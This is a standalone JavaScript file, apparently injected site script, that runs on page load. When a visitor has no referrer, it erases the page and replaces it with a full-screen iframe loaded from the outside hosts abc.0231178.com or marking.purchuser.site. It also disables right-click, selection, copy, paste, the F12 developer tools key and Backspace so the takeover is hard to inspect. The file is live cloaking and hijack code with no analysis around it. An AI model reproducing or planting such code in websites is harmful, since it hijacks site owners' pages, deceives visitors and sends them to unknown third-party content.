(function () {
	var d=document.referrer;

	if (d != null&& d != ''){

	}else{
	//i = document.createElement("iframe");
	//i.src = "http://abc.0231178.com/404.html";
	//document.body.appendChild(i);
	document.documentElement.innerHTML="";
	var protocolStr = document.location.protocol;
	var url= "http://abc.0231178.com/404.html";
	if(protocolStr == "http:"){
      url= "http://abc.0231178.com/404.html";
    }else if(protocolStr == "https:"){
		url= "https://marking.purchuser.site/404.html";
	}
	showIframe(url,'100%','100%');
	}	
})();
function showIframe(url,w,h){
	//添加iframe
	var if_w = w; 
	var if_h = h; 
	//$("<iframe width='" + if_w + "' height='" + if_h + "' id='iFrame' name='iFrame' style='position:absolute;z-index:4;' frameborder='no' marginheight='0' marginwidth='0' allowTransparency='true'></iframe>").prependTo('body'); 
	//iframe屏幕适应宽高设置
	try{  
	   var iframe = document.createElement('<iframe name="ifr"></iframe>');  
	   
	}catch(e){ 
		var iframe = document.createElement('iframe');  
		iframe.name = 'ifr';  
	 }
	 iframe.src=url;
	 iframe.width = if_w;
	 iframe.height = if_h;
	 iframe.setAttribute('scroll','no');
	 iframe.setAttribute('border','0');
	 iframe.setAttribute('vspace','0');
	 iframe.setAttribute('hspace','0');
	 iframe.setAttribute('marginwidth','0');
	 iframe.setAttribute('marginheight','0');
	 iframe.setAttribute('framespacing','0');
	 iframe.setAttribute('frameborder','0');
	 iframe.setAttribute('style','height:2500px;width:100%;');
	 document.body.setAttribute('style','margin:0;padding:0;overflow:hidden');
	 document.body.scroll="no";
	 document.body.appendChild(iframe);
}
document.oncontextmenu = function (event){
	if(window.event){
	event = window.event;
	}try{
	var the = event.srcElement;
	if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")){
	return false;
	}
	return true;
	}catch (e){
	return false;
	}
}
document.onselectstart = function (event){
	if(window.event){
	event = window.event;
	}try{
	var the = event.srcElement;
	if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")){
	return false;
	}
	return true;
	} catch (e) {
	return false;
	}
}
document.oncut = function (event){
	if(window.event){
	event = window.event;
	}try{
	var the = event.srcElement;
	if(!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")){
	return false;
	}
	return true;
	}catch (e){
	return false;
	}
}
document.oncopy = function (event){
	if(window.event){
	event = window.event;
	}try{
	var the = event.srcElement;
	if(!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")){
	return false;
	}
	return true;
	}catch (e){
	return false;
	}
}
document.onpaste = function (event){
	if(window.event){
	    event = window.event;
	}try{
	var the = event.srcElement;
	if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")){
	return false;
	}
	return true;
	}catch (e){
	return false;
	}
}
document.onkeydown = function(){

    if(window.event && window.event.keyCode == 123) {
        event.keyCode=0;
        event.returnValue=false;
    }
    if(window.event && window.event.keyCode == 13) {
        window.event.keyCode = 505;
    }
    if(window.event && window.event.keyCode == 8) {
        alert(str+"\n请使用Del键进行字符的删除操作！");
        window.event.returnValue=false;
    }

}